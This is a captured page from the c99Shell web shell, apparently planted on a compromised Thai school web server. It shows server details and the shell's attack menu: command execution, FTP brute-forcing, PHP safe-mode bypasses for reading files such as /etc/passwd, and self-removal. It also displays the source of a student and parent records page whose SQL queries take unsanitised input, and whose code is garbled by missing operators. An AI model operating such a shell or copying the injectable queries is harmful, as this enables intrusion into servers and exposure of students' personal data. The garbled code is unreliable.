!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/Std_Acc_depart/   drwxr-xr-x
Free 51 GB of 127.8 GB (39.91%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     StdParent.php (6.59 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
session_start
();
 if (
session_is_registered("valid_user")&&session_is_registered("password")&&session_is_registered("Priority"))
 {
include(
"../include/FunctionDB.php");
include(
"admin_menu.php");
include(
"../include/Function.php");
ConnectDB();
$sql "Select * From user_tb Where Username='$Username'";
$result mysql_query($sql) or die(" Error".mysql_error());
$rs1 mysql_fetch_array($result);
$Username $rs1[Username];
$sql1 "Select * From student_tb Where Student_id='$Student_id'";
$result1 mysql_query($sql1) or die(" Error".mysql_error());
$rs mysql_fetch_array($result1);
?> 

<meta http-equiv="Content-Type" content="text/html; charset=TIS-620">

<table width="819" border="0" cellpadding="0" cellspacing="0">
    <tr>
        <td width="753" ><br> 
          <fieldset>
            <legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="index.php">หน้าหลัก</a> <img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle"><a href="menuEdu.php">ข้อมูลการฝ่ายวิชาการ</a> <img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle"> รายชื่อภาค/ฝ่าย</font></legend>
          <form id="form1" name="form1" method="post" action="">
            <div align="center"></div>
            <table width="97%" border="0" align="center" cellpadding="0" cellspacing="0" style="border:0px solid gray">
              <tr bgcolor="#F1F3FE">
                <td colspan="2"><div align="center"><font size="4" face="Tahoma"><strong>ข้อมูลผู้ปกครอง</strong></font></div></td>
              </tr>
              <tr>
                <td width="83%"><table width="96%" border="0" cellpadding="0" cellspacing="1" bordercolor="#999999">
                    <tr bgcolor="#FFFFFF">
                      <td width="33%" bgcolor="#FFFEF4"><div align="center"><font color="#003366" size="2" face="Tahoma">รหัส</font></div></td>
                      <td width="67%" bgcolor="#FFFEF4"><font color="#003300" size="2" face="Tahoma">
                        <?=$rs["Student_id"]?>
                      </font></td>
                    </tr>
                    <tr bgcolor="#FFFFFF">
                      <td bgcolor="#FFFEF4"><div align="center"><font color="#003366" size="2" face="Tahoma">ชื่อ-นามสกุล</font></div></td>
                      <td bgcolor="#FFFEF4"><font color="#003300" size="2" face="Tahoma">
                        <?=$rs["First_name"]?>
                        <?=$rs["Name"]?>
                        <?=$rs["Lastname"]?>
                      </font></td>
                    </tr>
                    <tr bgcolor="#FFFFFF">
                      <td bgcolor="#FFFEF4"><div align="center"><font color="#003366" size="2" face="Tahoma">หลักสูตร</font></div></td>
                      <td bgcolor="#FFFEF4"><font color="#003300" size="2" face="Tahoma">
                        <?php
               $Course_code 
=  $rs["Course_code"];
               
$sql2"Select * From course_tb Where Course_code='$Course_code'";
               
$result2 mysql_query($sql2) or die("Error Select".mysql_query());
               
$rs2 mysql_fetch_array($result2);
               echo
"$rs2[Course_name]";
               
?>
                        รุ่น </font><font color="#990099" size="2" face="Tahoma"><a href="../../Scholarship/ActivityDetail.php?code=<?=$row["code"]?>" title="Click to see Detail"  class="d">
                          <?=$rs["Class"]?>
                        </a></font></td>
                    </tr>
                    <tr bgcolor="#FFFFFF">
                      <td bgcolor="#FFFEF4"><div align="center"><font size="2" face="Tahoma">อายุ</font></div></td>
                      <td bgcolor="#FFFEF4"><font color="#003366" size="2" face="Tahoma">
                        <?php //// Show Age
      
$age =  $rs[DateBirth];
      
$year =  explode("-",$age);
      
$year =   intval($year[0]);    
      
$year $year 543;
      
$currentyear date("Y");
    
//  $currentyear =   intval($currentyear[0]);          
      
$age $currentyear $year ;
      echo
"$age";
      
?>
                      </font><font color="#000000" size="2" face="Tahoma">ปี</font></td>
                    </tr>
                    <tr bgcolor="#FFFFFF">
                      <td bgcolor="#FFFEF4"><div align="center"><font size="2" face="Tahoma">ชื่อบิดา</font></div></td>
                      <td bgcolor="#FFFEF4"><font color="#000000" size="2" face="Tahoma">
                        <?=$rs["Father_name"]?>
                      </font></td>
                    </tr>
                    <tr bgcolor="#FFFFFF">
                      <td height="20" bgcolor="#FFFEF4"><div align="center"><font size="2" face="Tahoma">ชื่อมารดา</font></div></td>
                      <td bgcolor="#FFFEF4"><font color="#000000" size="2" face="Tahoma">
                        <?=$rs["Mother_name"]?>
                      </font></td>
                    </tr>
                    <tr bgcolor="#FFFFFF">
                      <td height="18" bgcolor="#FFFEF4"><div align="center"><font size="2" face="Tahoma">ที่อยู่</font></div></td>
                      <td bgcolor="#FFFEF4"><font color="#000000" size="2" face="Tahoma">
                        <?=$rs["Address2"]?>
                      </font><font color="#003300" size="2" face="Tahoma">&nbsp; </font></td>
                    </tr>
                    <tr bgcolor="#FFFFFF">
                      <td height="20" bgcolor="#FFFEF4"><div align="center"><font size="2" face="Tahoma">เบอร์โทร</font></div></td>
                      <td bgcolor="#FFFEF4"><font color="#000000" size="2" face="Tahoma">
                        <?=$rs["Telno"]?>
                      </font></td>
                    </tr>
                </table></td>
                <td width="17%" colspan="-2" bgcolor="#FFFFFF"><div align="center">
                    <?php
        
echo"<center>";
        echo
"<img src=\"../$rs[Img1]\" width=\"100\" height=\"110\" >";
        echo
"</center>";
       
?>
                </div></td>
              </tr>
              <tr bgcolor="#F1F3FE">
                <td height="20" colspan="2">&nbsp;</td>
              </tr>
            </table>
          </form>
          </fieldset>
        <br>
        <font color="<?php echo $GLOBALS["COLOR_FONT_3"];?>" size="2"><b>หมายเหตุ :</b> ใช้เมาส์คลิกที่ชื่อ<br>
      </font></td>
    </tr>
</table>
<?php 
    
}
else
{
    echo
"<body bgcolor=\"#CCCCCC\">";
     echo
"<meta http-equiv=\"refresh\" content=\"3;URL=../logout.php\" target=\"mainFrame\">\n";
     echo
"<center>";
      echo
"<br><br><br><b><font face=\"Tahoma\" size=\"4\" color=\"#FF0000\">Please Login</font> </b><br>";
      echo
"<br><br><font face=\"Tahoma\" size=\"10\" color=\"#000000\"> ERROR 404 PERMISION DENY</font><br>";
      echo
"<br><font face=\"Tahoma\" size=\"4\" color=\"#000000\"> คุณไม่มสิทธ์ใช้งาน</font>";
      echo
"</center>";
      echo
"</body>";

?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0059 ]--